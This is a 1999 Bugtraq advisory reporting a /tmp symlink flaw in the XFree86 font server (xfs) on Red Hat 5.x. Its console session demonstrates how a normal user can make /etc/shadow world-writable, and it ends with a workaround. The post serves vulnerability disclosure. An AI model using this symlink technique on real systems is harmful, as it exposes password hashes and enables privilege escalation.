Date: Tue, 30 Mar 1999 00:14:34 +0200
From: Lukasz Trabinski <lukasz@LT.WSISIZ.EDU.PL>
To: BUGTRAQ@netspace.org
Subject: Bug in xfs
Hello,
I hope that's information will be useful for making new patch for
XFree86.
I found bug in xfs
(Packet XFree86-xfs-3.3.3.1-1 in RedHat 5.1 and probably in RedHat 5.2
updates, too)
Xfs is a font server for XFree86, it's also create directory in /tmp
That directory name .font-unix
Let's make a little check:
On first console (I logged as a normal user)
[lukasz@lt /tmp]$ cat /etc/shadow
cat: /etc/shadow: Permission denied
[lukasz@lt /tmp]$ ls -all /etc/shadow
-r-------- 1 root root 544 Mar 30 00:04 /etc/shadow
[lukasz@lt /tmp]$ ll
total 2
drwxrwxrwt 2 root root 1024 Mar 30 00:05 .
drwxr-xr-x 18 root root 1024 Mar 23 00:10 ..
lrwxrwxrwx 1 lukasz users 11 Mar 30 00:05 .font-unix ->
/etc/shadow
On second console, as root
[root@lt /root]# xfs &
[1] 2021
[root@lt /root]# _FontTransSocketCreateListener: failed to bind listener
_FontTransSocketUNIXCreateListener: ...SocketCreateListener() failed
_FontTransMakeAllCOTSServerListeners: failed to create listener for local
On first console:
[lukasz@lt /tmp]$ ls -all /etc/shadow
-rwxrwxrwt 1 root root 544 Mar 30 00:04 /etc/shadow
^^^^^^^^^^^
That's all ;)
Solution, As root before run xfs, make rm -rf /tmp/.font-unix
Sorry for my broken English ;(
_[ Lukasz Trabinski ]_
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